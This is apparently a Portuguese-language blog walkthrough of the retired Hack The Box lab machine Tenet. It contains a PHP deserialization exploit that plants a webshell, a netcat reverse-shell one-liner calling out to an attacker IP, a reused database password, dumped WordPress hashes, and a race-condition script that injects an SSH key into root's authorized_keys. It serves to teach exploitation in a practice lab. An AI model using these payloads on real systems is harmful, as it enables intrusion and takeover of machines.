7 minuto(s) de leitura Read also in :us: Compartilhar

Olá pessoal!

A máquina desta semana será Tenet, outra máquina Linux classificada como mediana do Hack The Box, criada por egotisticalSW.

:information_source: Info: Write-ups para máquinas do Hack The Box são postados assim que as respectivas máquinas são aposentadas.

HTB Tenet

Antes de iniciar a resolução desta máquina, me chamou atenção a ilustração, a qual busquei e acabei encontrando sobre o quadrado Sator, onde temos um palíndromo com cinco palavras latinas: SATOR, AREPO, TENET, OPERA e ROTAS, que em um conjunto formam um quadrado com as mesmas palavras sendo TENET a central. Muito possivelmente estas palavras poderão estar presentes em algum ponto da resolução desta máquina :smile:.

Enumeração

Como de costume, iniciado com um quick scan nmap para identificar os serviços publicados

$ nmap -sC -sV -Pn -oA quick 10.10.10.223
Host discovery disabled (-Pn). All addresses will be marked 'up' and scan times will be slower.
Starting Nmap 7.91 ( https://nmap.org ) at 2021-02-27 14:36 -03
Nmap scan report for 10.10.10.223
Host is up (0.079s latency).
Not shown: 998 closed ports
PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 7.6p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
|   2048 cc:ca:43:d4:4c:e7:4e:bf:26:f4:27:ea:b8:75:a8:f8 (RSA)
|   256 85:f3:ac:ba:1a:6a:03:59:e2:7e:86:47:e7:3e:3c:00 (ECDSA)
|_  256 e7:e9:9a:dd:c3:4a:2f:7a:e1:e0:5d:a2:b0:ca:44:a8 (ED25519)
80/tcp open  http    Apache httpd 2.4.29 ((Ubuntu))
|_http-server-header: Apache/2.4.29 (Ubuntu)
|_http-title: Apache2 Ubuntu Default Page: It works
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 18.06 seconds

80/TCP - Serviço HTTP

Ao acessar esta página, notado que se trata da página default do Apache, logo iniciei uma enumeração de diretórios com o gobuster onde acabei encontrando alguns diretórios, dentre ele o wordpress.

$ gobuster dir -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -u http://10.10.10.223/ -o gobuster.txt -x php,txt,html
===============================================================
Gobuster v3.0.1
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@_FireFart_)
===============================================================
[+] Url:            http://10.10.10.223/
[+] Threads:        10
[+] Wordlist:       /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt
[+] Status codes:   200,204,301,302,307,401,403
[+] User Agent:     gobuster/3.0.1
[+] Extensions:     php,txt,html
[+] Timeout:        10s
===============================================================
2021/02/27 14:44:51 Starting gobuster
===============================================================
/index.html (Status: 200)
/users.txt (Status: 200)
/wordpress (Status: 301)
Progress: 5055 / 220561 (2.29%)^C
[!] Keyboard interrupt detected, terminating.
===============================================================
2021/02/27 14:48:08 Finished
===============================================================

Ao acessá-lo, notado que a página estava sem formatação, logo validando o código fonte vi que estava com os apontamentos para as imagens em tenet.htb, o qual foi adicionado no /etc/hosts.

Após ajustado o dns, executado scan utilizando o wpscan, onde foi possível enumerar a versão do Wordpress, no caso 5.6, e usuários protagonist e neil

Como ao acessar a página pela url http://10.10.10.223/wordpress informa uma mensagem de erro, conforme imagem abaixo. Acessando a partir do dns configurado e conforme visto no codigo fonte (http://tenet.htb) para visualizar o site wordpress corretamente.

HTB Tenet - 80/TCP

Analisando as postagens ao acessar o wordpress pelo DNS, notei que os posts mencionam um sistema chamado Rotas, que possivelmente possa conter algum item a ser explorado e conseguir um acesso inicial

This Is Where Our Worlds Collide We’re looking for beta testers of our new time-management software, ‘Rotas’ ‘Rotas’ will hopefully be coming to market late 2021, pending rigorous QA from our developers, and you! For more information regarding opting-in, watch this space.

As coisas ficam mais interessantes em um post mais antigo, onde o usuário neil comenta o seguinte na postagem:

did you remove the sator php file and the backup?? the migration program is incomplete! why would you do this?!

Buscando por sator.php no hostname tenet.htb não retornou nada, mas acessando diretamente ao IP do servidor, conforme acessado inicialmente, recebi a página abaixo:

HTB Tenet - sator.php

Uma vez que backups são criados com sufixos old ou bak, acabei encontrando o arquivo sator.php.bak no mesmo diretório, onde pude listar o conteúdo abaixo:

<?php

class DatabaseExport
{
    public $user_file = 'users.txt';
    public $data = '';
    
    public function update_db()
    {
        echo '[+] Grabbing users from text file <br>';
        $this-> data = 'Success';
    }
    
    public function __destruct()
    {
        file_put_contents(__DIR__ . '/' . $this ->user_file, $this->data);
        echo '[] Database updated <br>';
        //    echo 'Gotta get this working properly...';
    }
}

$input = $_GET['arepo'] ?? '';
$databaseupdate = unserialize($input);

$app = new DatabaseExport;
$app -> update_db();

?>

Como podemos ver este código é vulnerável a PHP Deserialization, uma vez que não valida o input recebido via GET a partir do query string arg arepo, permitindo que seja modificado o conteúdo do arquivo de banco de dados.

Acesso inicial

Para acesso inicial o primeiro passo é criar um dado serializado do PHP malicioso e enviar no argumento arepo conforme vimos no metodo get. Buscando um pouco encontrei este exemplo de exploit que foi modificado para gerar um webshell simples na máquina, o qual poderia a posteriori ser utilizado para obter um shell reverso na máquina.

<?php 

class DatabaseExport
{
    public $user_file = 'shell.php';
    public $data = '<?php system($_GET["cmd"]); ?>';
    
    public function update_db()
    {
        echo '[+] Grabbing users from text file <br>';
        $this-> data = 'Success';
    }
    
    public function __destruct()
    {
        file_put_contents(__DIR__ . '/' . $this ->user_file, $this->data);
        echo '[] Database updated <br>';
        //    echo 'Gotta get this working properly...';
    }
}

$url = 'http://10.10.10.223/sator.php?arepo=';
$arepo = $url . urlencode(serialize(new DatabaseExport));
$response = file_get_contents("$arepo");
print "$response";

Após execução, foi possível validar o funcionamento do webshell com a chamada executando o comando id.

$ php exploit.php
[] Database updated <br>[+] Grabbing users from text file <br>
[] Database updated <br>[] Database updated <br>   

$ curl -L http://10.10.10.223/shell.php?cmd=id
uid=33(www-data) gid=33(www-data) groups=33(www-data)

Confirmado o acesso, realizado chamada para um shell reverso utilizando o comando abaixo:

curl -G --data-urlencode "cmd=rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 10.10.10.10 4443 >/tmp/f" http://10.10.10.223/shell.php

User Flag

Uma vez com acesso à máquina, já que era sabido que tínhamos um wordpress instalado, busquei pelo arquivo de configuração do wordpress onde pude obter as credenciais para acesso ao banco do usuário neil

// ** MySQL settings - You can get this info from your web host ** //
/** The name of the database for WordPress */
define( 'DB_NAME', 'wordpress' );

/** MySQL database username */
define( 'DB_USER', 'neil' );

/** MySQL database password */
define( 'DB_PASSWORD', 'Opera2112' );

/** MySQL hostname */
define( 'DB_HOST', 'localhost' );

Como o reuso de credenciais é algo bastante comum, ao executar o comando su neil, fornecendo a senha presente no arquivo de configuração do wordpress, obtive o acesso com a conta do usuário e a flag de user.

neil@tenet:~$ id
uid=1001(neil) gid=1001(neil) groups=1001(neil)
neil@tenet:~$ cat ~/user.txt
<redacted>
neil@tenet:~$

Root Flag

No caminho para a flag de root, decidi fazer o dump das credenciais presentes no wordpress, onde os seguintes hashes foram encontrados.

mysql> select user_login,user_pass from wp_users;
+-------------+------------------------------------+
| user_login  | user_pass                          |
+-------------+------------------------------------+
| protagonist | $P$BqNNfN07OWdaEfHmGwufBs.b.BebvZ. |
| neil        | $P$BtFC5SOvjEMFWLE4zq5DWXy7sJPUqM. |
+-------------+------------------------------------+
2 rows in set (0.00 sec)

Adicionalmente, buscando por possiveis privilégios de sudo do usuário neil (sudo -l), notado que o usuário possuía privilégios para executar o script enableSSH.sh, listado abaixo.

Matching Defaults entries for www-data on tenet:
    env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:
    
User www-data may run the following commands on tenet:
    (ALL : ALL) NOPASSWD: /usr/local/bin/enableSSH.sh

Analisando o conteúdo do script vemos que o mesmo foi criado para forçar a configuração de uma chave pública como autorizada para o usuário root para acesso SSH, embora não tenhamos acesso à mesma.

#!/bin/bash

checkAdded() {
    sshName=$(/bin/echo $key | /usr/bin/cut -d " " -f 3)
    if [[ ! -z $(/bin/grep $sshName /root/.ssh/authorized_keys) ]]; then
        /bin/echo "Successfully added $sshName to authorized_keys file!"
    else
        /bin/echo "Error in adding $sshName to authorized_keys file!"
    fi
}

checkFile() {
    if [[ ! -s $1 ]] || [[ ! -f $1 ]]; then
        /bin/echo "Error in creating key file!"
        if [[ -f $1 ]]; then /bin/rm $1; fi
        exit 1
    fi
}

addKey() {
    tmpName=$(mktemp -u /tmp/ssh-XXXXXXXX)
    (umask 110; touch $tmpName)
    /bin/echo $key >>$tmpName
    checkFile $tmpName
    /bin/cat $tmpName >>/root/.ssh/authorized_keys
    /bin/rm $tmpName
}

key="ssh-rsa AAAAA3NzaG1yc2GAAAAGAQAAAAAAAQG+AMU8OGdqbaPP/Ls7bXOa9jNlNzNOgXiQh6ih2WOhVgGjqr2449ZtsGvSruYibxN+MQLG59VkuLNU4NNiadGry0wT7zpALGg2Gl3A0bQnN13YkL3AA8TlU/ypAuocPVZWOVmNjGlftZG9AP656hL+c9RfqvNLVcvvQvhNNbAvzaGR2XOVOVfxt+AmVLGTlSqgRXi6/NyqdzG5Nkn9L/GZGa9hcwM8+4nT43N6N31lNhx4NeGabNx33b25lqermjA+RGWMvGN8siaGskvgaSbuzaMGV9N8umLp6lNo5fqSpiGN8MQSNsXa3xXG+kplLn2W+pbzbgwTNN/w0p+Urjbl root@ubuntu"
addKey
checkAdded

Analisando o script acima, notei uma possibilidade de hijack por conta de um race condition existente, onde na função “addKey” é criado um arquivo temporario, incluindo o seu conteúdo da chave pública e, após isso, seu conteúdo é adicionado no /root/.ssh/authorized_keys, possivelmente nos permitindo modificar este arquivo em tempo de execução para incluir outra chave SSH no lugar desta.

O desafio nesta parte é prever o nome do arquivo ssh em /tmp, mas que ao buscar por uma forma de adicionar um valor em múltiplos arquivos, o comando tee foi a melhor opção. O script abaixo foi criado e colocado em execução para infinitamente incluir o conteúdo de uma chave criada por mim em quaisquer arquivos que possuíssem o nome ssh-* em /tmp.

#!/bin/bash
while true; do
        echo "ssh-rsa AAAA..............BBBB= root@ubuntu" | tee /tmp/ssh-* 2> /dev/null;
done

Com o script acima em execução, executado o comando para habilitar o SSH para o usuário root e logo na sequência, o comando ssh para se conectar com a chave privada em nossa posse, onde obtivemos sucesso para conectar nesta máquina utilizando o SSH e obter a flag de root :smiley:

neil@tenet:/tmp$ sudo  /usr/local/bin/enableSSH.sh
Successfully added root@ubuntu to authorized_keys file!
neil@tenet:/tmp$ ssh -i tenet root@tenet.htb
Welcome to Ubuntu 18.04.5 LTS (GNU/Linux 4.15.0-129-generic x86_64)
[...]
root@tenet:~# id
uid=0(root) gid=0(root) groups=0(root)
root@tenet:~# cat /root/root.txt
b05e57e997cda49b47757cd3f0f9ac43

Espero que tenham gostado!

Vejo vocês no próximo post! :smile: